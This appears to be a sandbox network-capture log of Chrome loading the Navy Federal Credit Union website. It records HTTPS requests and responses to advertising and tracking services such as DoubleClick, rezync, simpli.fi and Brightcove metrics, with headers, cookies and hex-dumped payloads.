2024-05-24 22:46:43 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
495	192.168.2.6	50515	34.252.112.229	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	787	OUT	GET /adscores/g.pixel?sid=9212282598&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&iid=533c2d5e-d8da-4126-a3e5-0eb7139f2ccd&ona= HTTP/1.1 Host: aa.agkn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ab=0001%3Ar3yIR%2BLmLjuVsxwwD7P4Loi5%2BIzza9YA; u=C\|0AAAAAAAALePVQAAAAAAB
2024-05-24 22:46:43 UTC	813	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:43 GMT Transfer-Encoding: chunked Connection: close Server: AAWebServer P3P: policyref="https://www.agkn.com/p3p/p3p.xml",CP="NOI NID" Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: accept, cache-control, origin, x-requested-with, x-file-name, content-type Set-Cookie: ab=0001%3Ar3yIR%2BLmLjuVsxwwD7P4Loi5%2BIzza9YA; Path=/; Domain=.agkn.com; Expires=Sat, 24-May-2025 22:46:43 GMT; Max-Age=31536000; Secure; SameSite=None Location: https://px0.pbbl.co/adadvisor.gif?segment=000&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&_zip=&hk=&iid=533c2d5e-d8da-4126-a3e5-0eb7139f2ccd&mt=&bd=&cb=1716590803274
2024-05-24 22:46:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
496	192.168.2.6	50509	18.238.243.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	932	OUT	GET /sync?c=0aa2530f29e4f4a05b5d5d9bb35d60c2&p=93c1662463a616a7155169889dd99651&k=lionly&cache_buster=1716590800699 HTTP/1.1 Host: live.rezync.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zync-uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698; sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In0.ZlEY0Q.ix4w4zRD0qwskviOGPug87sXHTc
2024-05-24 22:46:43 UTC	950	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 471 Connection: close Date: Fri, 24 May 2024 22:46:43 GMT Location: https://i.liadm.com/s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&_=1716590803.3351986 Set-Cookie: zync-uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698; Domain=rezync.com; Expires=Wed, 18 Jun 2025 22:46:43 GMT; Path=/; SameSite=None; Secure Set-Cookie: sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In0.ZlEY0w.jEm-7LXsLoES9y0hVmy2yy7B9U0; Expires=Wed, 18 Jun 2025 22:46:43 GMT; HttpOnly; Path=/; SameSite=None; Secure Vary: Cookie Server: lighttpd/1.4.69 X-Cache: Miss from cloudfront Via: 1.1 1e22254f0abea6547aaa07a03d921130.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P1 X-Amz-Cf-Id: h-TY2vU7SXGWIp_wuR3BmuIgxogW_6QpbY8_lLq9tbyKPvbbRdOMSA==
2024-05-24 22:46:43 UTC	471	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 73 68 6f 75 6c 64 20 62 65 20 72 65 64 69 72 65 63 74 65 64 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 74 6f 20 74 68 65 20 74 61 72 67 65 74 20 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 2e 6c 69 61 64 6d 2e 63 6f 6d 2f 73 2f 36 34 35 38 31 3f 62 69 64 64 65 72 5f 69 64 3d 32 30 30 34 34 32 26 61 6d 70 3b 62 69 64 64 65 72 5f 75 75 69 64 3d 33 35 37 63 32 38 63 33 2d 39 65 66 64 2d 34 65 33 35 2d 38 65 32 30 2d 32 38 38 66 66 38 64 61 34 61 31 61 25 33 41 Data Ascii: <!doctype html><html lang=en><title>Redirecting...</title><h1>Redirecting...</h1><p>You should be redirected automatically to the target URL: <a href="https://i.liadm.com/s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
497	192.168.2.6	50513	18.238.243.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	932	OUT	GET /sync?c=0aa2530f29e4f4a05b5d5d9bb35d60c2&p=93c1662463a616a7155169889dd99651&k=lionly&cache_buster=1716590801051 HTTP/1.1 Host: live.rezync.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zync-uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698; sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In0.ZlEY0Q.ix4w4zRD0qwskviOGPug87sXHTc
2024-05-24 22:46:43 UTC	950	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 471 Connection: close Date: Fri, 24 May 2024 22:46:43 GMT Location: https://i.liadm.com/s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&_=1716590803.3401504 Set-Cookie: zync-uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698; Domain=rezync.com; Expires=Wed, 18 Jun 2025 22:46:43 GMT; Path=/; SameSite=None; Secure Set-Cookie: sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In0.ZlEY0w.jEm-7LXsLoES9y0hVmy2yy7B9U0; Expires=Wed, 18 Jun 2025 22:46:43 GMT; HttpOnly; Path=/; SameSite=None; Secure Vary: Cookie Server: lighttpd/1.4.69 X-Cache: Miss from cloudfront Via: 1.1 650363fa7465273dd14fde086a851a86.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P1 X-Amz-Cf-Id: S9AxpLie7vpgQIBIDNAwyW9bs_UBbUl_s71nU4fDHa3G_3qP95pBxw==
2024-05-24 22:46:43 UTC	471	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 73 68 6f 75 6c 64 20 62 65 20 72 65 64 69 72 65 63 74 65 64 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 74 6f 20 74 68 65 20 74 61 72 67 65 74 20 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 2e 6c 69 61 64 6d 2e 63 6f 6d 2f 73 2f 36 34 35 38 31 3f 62 69 64 64 65 72 5f 69 64 3d 32 30 30 34 34 32 26 61 6d 70 3b 62 69 64 64 65 72 5f 75 75 69 64 3d 33 35 37 63 32 38 63 33 2d 39 65 66 64 2d 34 65 33 35 2d 38 65 32 30 2d 32 38 38 66 66 38 64 61 34 61 31 61 25 33 41 Data Ascii: <!doctype html><html lang=en><title>Redirecting...</title><h1>Redirecting...</h1><p>You should be redirected automatically to the target URL: <a href="https://i.liadm.com/s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
498	192.168.2.6	50516	35.204.89.238	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	638	OUT	GET /sifitag/601005f1-638d-45e3-9d29-e04168bb80b3 HTTP/1.1 Host: tag.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:43 UTC	422	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 24 May 2024 22:46:43 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 3101 Connection: close Vary: Accept-Encoding cache-control: max-age=0, private, must-revalidate x-request-id: F9KOPaNlUFwHjNtdQi5B Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT
2024-05-24 22:46:43 UTC	3101	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 70 61 72 73 65 49 6e 74 28 28 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 7c 7c 22 6c 6f 63 61 6c 22 29 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 31 30 29 2c 33 36 29 2c 63 3d 22 73 69 66 69 5f 61 74 74 5f 22 2b 62 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 5b 63 5d 29 72 65 74 75 72 6e 20 76 6f 69 64 20 61 5b 63 5d 2e 72 75 6e 28 29 3b 63 6c 61 73 73 20 53 69 66 69 43 6d 70 43 6f 6d 70 6c 69 61 6e 63 65 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 74 63 44 61 74 61 3d 61 2c 74 68 69 73 2e 73 69 66 69 56 65 6e 64 6f 72 49 64 3d 22 37 33 22 7d 63 68 65 63 6b 43 6f 6e 73 65 6e 74 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6f 75 74 4f 66 42 61 6e Data Ascii: (function(a){var b=parseInt((location.hostname\|\|"local").substring(0,10),36),c="sifi_att_"+b;if("undefined"!=typeof a[c])return void a[c].run();class SifiCmpCompliance{constructor(a){this.tcData=a,this.sifiVendorId="73"}checkConsent(){return this.outOfBan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
499	192.168.2.6	50521	18.211.251.153	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	619	OUT	POST /event/track HTTP/1.1 Host: events.api.boomtrain.com Connection: keep-alive Content-Length: 498 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://www.navyfederal.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:43 UTC	498	OUT	Data Raw: 7b 22 74 79 70 65 22 3a 22 76 69 65 77 65 64 22 2c 22 73 69 74 65 5f 69 64 22 3a 22 6e 61 76 79 2d 66 65 64 65 72 61 6c 2d 63 72 65 64 69 74 2d 75 6e 69 6f 6e 22 2c 22 62 73 69 6e 22 3a 22 54 58 70 48 73 72 48 4e 36 34 66 74 69 42 4d 49 4e 67 33 54 48 48 57 75 76 37 65 31 34 47 52 6e 73 32 4d 58 56 45 4d 6e 77 6c 6e 49 73 4a 31 66 68 47 59 68 75 56 53 59 4f 41 6c 6d 6a 73 6a 72 41 55 2f 4e 56 75 35 6e 7a 66 41 6a 2f 2f 76 4b 6b 58 69 37 4b 51 3d 3d 22 2c 22 75 73 65 72 49 64 22 3a 22 54 58 70 48 73 72 48 4e 36 34 66 74 69 42 4d 49 4e 67 33 54 48 48 57 75 76 37 65 31 34 47 52 6e 73 32 4d 58 56 45 4d 6e 77 6c 6e 49 73 4a 31 66 68 47 59 68 75 56 53 59 4f 41 6c 6d 6a 73 6a 72 41 55 2f 4e 56 75 35 6e 7a 66 41 6a 2f 2f 76 4b 6b 58 69 37 4b 51 3d 3d 22 2c 22 73 Data Ascii: {"type":"viewed","site_id":"navy-federal-credit-union","bsin":"TXpHsrHN64ftiBMINg3THHWuv7e14GRns2MXVEMnwlnIsJ1fhGYhuVSYOAlmjsjrAU/NVu5nzfAj//vKkXi7KQ==","userId":"TXpHsrHN64ftiBMINg3THHWuv7e14GRns2MXVEMnwlnIsJ1fhGYhuVSYOAlmjsjrAU/NVu5nzfAj//vKkXi7KQ==","s
2024-05-24 22:46:43 UTC	308	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:43 GMT Content-Type: text/plain Content-Length: 2 Connection: close Server: nginx access-control-allow-origin: * access-control-allow-headers: X-Requested-With, Content-Type, Authorization, x-app-id access-control-allow-methods: GET, PUT, POST, DELETE
2024-05-24 22:46:43 UTC	2	IN	Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
500	192.168.2.6	50524	35.244.232.184	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	1077	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae49fd858d3acf272af62c12&account=5289441629001&destination=https%3A%2F%2Fwww.navyfederal.org%2F&platform_version=6.67.7&player=players.brightcove.com%2F5289441629001%2FH1eDsUIBZ_default&player_name=NFCU%20Default%20Player&autoplay=false&ads_enabled=false&event=catalog_response&url=https%3A%2F%2Fedge.api.brightcove.com%2Fplayback%2Fv1%2Faccounts%2F5289441629001%2Fvideos%2F5368522558001&time=1716590801913&response_time_ms=1741&seq=3 HTTP/1.1 Host: metrics.brightcove.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://players.brightcove.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:43 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Fri, 24 May 2024 22:46:43 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:43 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
501	192.168.2.6	50517	216.58.206.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	12008	OUT	GET /ddm/activity/attribution_src_register;crd=Zmxvb2RsaWdodF9jb25maWdfaWQ6IDk3NDk4OTIKYWR2ZXJ0aXNlcl9kb21haW46ICJodHRwczovL25hdnlmZWRlcmFsLm9yZyIKeGZhX2F0dHJpYnV0aW9uX2ludGVyYWN0aW9uX3R5cGU6IENPTlZFUlNJT04KZGVidWdfa2V5OiA2MjAwNDIwNDA0NDQ5MzM5NjQ5CmN0Y19jb252ZXJzaW9uX2J1Y2tldDogMgphcmNoZXR5cGVfaWQ6IDEyCmFyY2hldHlwZV9pZDogMTMKYXJjaGV0eXBlX2lkOiAxNAphcmNoZXR5cGVfaWQ6IDE1CmFyY2hldHlwZV9pZDogMTYKYXJjaGV0eXBlX2lkOiAxNwphcmNoZXR5cGVfaWQ6IDE4CmFyY2hldHlwZV9pZDogMTkKYXJjaGV0eXBlX2lkOiAyMAphcmNoZXR5cGVfaWQ6IDIxCmFyY2hldHlwZV9pZDogNjI4NzI4Mzg4CmFyY2hldHlwZV9pZDogNjI4NzI4Mzg5CmFyY2hldHlwZV9pZDogNjI4NzI4MzkwCmFyY2hldHlwZV9pZDogNjI4NzI4MzkxCmFyY2hldHlwZV9pZDogNjI4NzA2MTgwCmFyY2hldHlwZV9pZDogNjI4NzA2MTgxCmFyY2hldHlwZV9pZDogNjI4NzA2MTgyCmFyY2hldHlwZV9pZDogNjI4NzA2MTgzCmFyY2hldHlwZV9pZDogNjI4Nzc0MDUyCmFyY2hldHlwZV9pZDogNjI4Nzc0MDUzCmFyY2hldHlwZV9pZDogNjI4Nzc0MDU0CmFyY2hldHlwZV9pZDogNjI4Nzc0MDU1CmFyY2hldHlwZV9pZDogNjI4NzkwNjA4CmFyY2hldHlwZV9pZDogNjI4NzkwNjA5CmFyY2hldHlwZV9pZDogNjI4NzkwNjEwCmFyY2hldHlwZV9pZDogNjI4NzkwNjExCmFyY [TRUNCATED] Host: ad.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
2024-05-24 22:46:43 UTC	11847	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:43 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Attribution-Reporting-Register-OS-Trigger: "https://ad.doubleclick.net/ddm/activity/attribution_src_register;crd=Zmxvb2RsaWdodF9jb25maWdfaWQ6IDk3NDk4OTIKYWR2ZXJ0aXNlcl9kb21haW46ICJodHRwczovL25hdnlmZWRlcmFsLm9yZyIKeGZhX2F0dHJpYnV0aW9uX2ludGVyYWN0aW9uX3R5cGU6IENPTlZFUlNJT04KZGVidWdfa2V5OiA2MjAwNDIwNDA0NDQ5MzM5NjQ5CmN0Y19jb252ZXJzaW9uX2J1Y2tldDogMgphcmNoZXR5cGVfaWQ6IDEyCmFyY2hldHlwZV9pZDogMTMKYXJjaGV0eXBlX2lkOiAxNAphcmNoZXR5cGVfaWQ6IDE1CmFyY2hldHlwZV9pZDogMTYKYXJjaGV0eXBlX2lkOiAxNwphcmNoZXR5cGVfaWQ6IDE4CmFyY2hldHlwZV9pZDogMTkKYXJjaGV0eXBlX2lkOiAyMAphcmNoZXR5cGVfaWQ6IDIxCmFyY2hldHlwZV9pZDogNjI4NzI4Mzg4CmFyY2hldHlwZV9pZDogNjI4NzI4Mzg5CmFyY2hldHlwZV9pZDogNjI4NzI4MzkwCmFyY2hldHlwZV9pZDogNjI4NzI4MzkxCmFyY2hldHlwZV9pZDogNjI4NzA2MTgwCmFyY2hldHlwZV9pZDogNjI4NzA2MTgxCmFyY2hldHlwZV9pZDogNjI4NzA2MTgyCmFyY2hldHlwZV9pZDogNjI4NzA2MTgzCmFyY2hldHlwZV9pZDogNjI4Nzc0MDUyCmFyY2hldHlwZV9pZDogNjI4Nzc0MDUzCmFyY2hldHlwZV9pZDogNjI4Nzc0MDU0CmFyY2hldHlwZV9pZDogNjI4Nzc0MDU1CmFyY2hldHlwZV9pZDogNjI4NzkwNjA4CmFyY2hldHlwZV9pZDogNjI4NzkwNjA5CmF [TRUNCATED] Content-Type: image/png Access-Control-Allow-Origin: * Location: https://adservice.google.com/ddm/fls/z/src=9749892;dc_pre=CJvvuIevp4YDFQjyOwIdofgLng;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1 X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
502	192.168.2.6	50518	18.239.67.100	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	1198	OUT	GET /up_loader.1.1.0.js HTTP/1.1 Host: js.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" If-None-Match: "a60a4e2650f94da6f243b9518761b381" If-Modified-Since: Mon, 20 May 2024 07:02:23 GMT sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFEhYKB3N2eDl0NTASCwjq4bW1rJP-PBAFEhkKCmxpdmVpbnRlbnQSCwj4kra1rJP-PBAFEhYKB3VlZDNrdnISCwimxba1rJP-PBAFGAUoAzILCJ6juOLCk_48EAU4AUIEIgIIAVoHcGNsOGJpeWAB
2024-05-24 22:46:43 UTC	460	IN	HTTP/1.1 304 Not Modified Connection: close Date: Fri, 24 May 2024 02:56:10 GMT Last-Modified: Mon, 20 May 2024 07:02:23 GMT ETag: "a60a4e2650f94da6f243b9518761b381" x-amz-server-side-encryption: AES256 Server: AmazonS3 Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 d419ac9a83ef724c262c5f07f9b5a8da.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P4 X-Amz-Cf-Id: 7mM7ZktTD4JePlgthxe6jzPzSuKMW9UcF5LRfHGguoeetux8sA7lnQ== Age: 71434

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
503	192.168.2.6	50522	142.250.186.34	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:43 UTC	1082	OUT	GET /ddm/fls/z/dc_pre=CKCDt4evp4YDFSohBgAdDGcAEg;src=9749892;type=gener0;cat=nfcu_000;ord=7786574454292;npa=0;auiddc=;ps=1;pcor=552065252;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html HTTP/1.1 Host: adservice.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
